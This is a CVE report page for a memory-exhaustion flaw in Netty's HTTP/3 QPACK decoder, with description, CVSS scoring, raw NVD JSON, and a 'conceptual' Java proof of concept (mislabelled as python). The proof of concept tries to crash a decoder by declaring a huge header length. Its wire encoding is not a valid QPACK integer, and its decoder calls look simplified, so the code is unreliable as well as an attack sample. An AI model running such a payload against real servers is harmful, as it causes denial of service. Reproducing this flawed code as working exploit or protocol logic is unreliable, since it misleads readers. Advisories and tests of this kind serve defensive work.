Security Vulnerability Report
中文
CVE-2026-42582 CVSS 7.5 HIGH

CVE-2026-42582

Published: 2026-05-13 19:17:24
Last Modified: 2026-05-14 16:26:50

Description

Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final, when decoding header blocks, the non-Huffman branch of io.netty.handler.codec.http3.QpackDecoder#decodeHuffmanEncodedLiteral may execute new byte[length] for a string literal before verifying that length bytes are actually present in the compressed field section. The wire encoding allows a very large length to be expressed in few bytes. There is no check that length <= in.readableBytes() before new byte[length]. This vulnerability is fixed in 4.2.13.Final.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

Netty < 4.2.13.Final

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/** * Conceptual PoC for CVE-2026-42582 * This Java code simulates sending a malicious HTTP/3 QPACK header block * to trigger the memory allocation vulnerability. */ import java.nio.ByteBuffer; import io.netty.buffer.ByteBuf; import io.netty.buffer.Unpooled; import io.netty.handler.codec.http3.QpackDecoder; public class Cve202642582PoC { public static void main(String[] args) { // Create a malicious byte buffer representing a QPACK encoded header // Variable length integer encoding for a huge size (e.g., 2GB) // Format: 0b000xxxxx (prefix) followed by bytes if value > 2^x - 1 // Simplified for demonstration: constructing a byte array that declares a large length int hugeLength = Integer.MAX_VALUE; byte[] maliciousHeader = createMaliciousQpackBlock(hugeLength); ByteBuf in = Unpooled.wrappedBuffer(maliciousHeader); try { // Instantiate the vulnerable decoder (Pre-4.2.13.Final) QpackDecoder decoder = new QpackDecoder(); // This call is expected to trigger OutOfMemoryError // because it allocates new byte[hugeLength] before checking readable bytes. decoder.decodeHeaderBlock(null, in, 4096, null); System.out.println("Exploit failed: Memory was not exhausted."); } catch (OutOfMemoryError e) { System.out.println("Exploit successful: OutOfMemoryError triggered."); } catch (Exception e) { System.out.println("Exception during decoding: " + e.getMessage()); } } private static byte[] createMaliciousQpackBlock(int size) { // Helper to simulate the wire format of a large integer length ByteBuffer buffer = ByteBuffer.allocate(8); // Example encoding for a large integer (QPACK varint) buffer.put((byte) 0x7F); // High bits set to indicate more bytes follow buffer.putInt(size); return buffer.array(); } }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-42582", "sourceIdentifier": "[email protected]", "published": "2026-05-13T19:17:23.763", "lastModified": "2026-05-14T16:26:50.047", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final, when decoding header blocks, the non-Huffman branch of io.netty.handler.codec.http3.QpackDecoder#decodeHuffmanEncodedLiteral may execute new byte[length] for a string literal before verifying that length bytes are actually present in the compressed field section. The wire encoding allows a very large length to be expressed in few bytes. There is no check that length <= in.readableBytes() before new byte[length]. This vulnerability is fixed in 4.2.13.Final."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-770"}, {"lang": "en", "value": "CWE-789"}]}], "references": [{"url": "https://github.com/netty/netty/security/advisories/GHSA-2c5c-chwr-9hqw", "source": "[email protected]"}, {"url": "https://github.com/netty/netty/security/advisories/GHSA-2c5c-chwr-9hqw", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}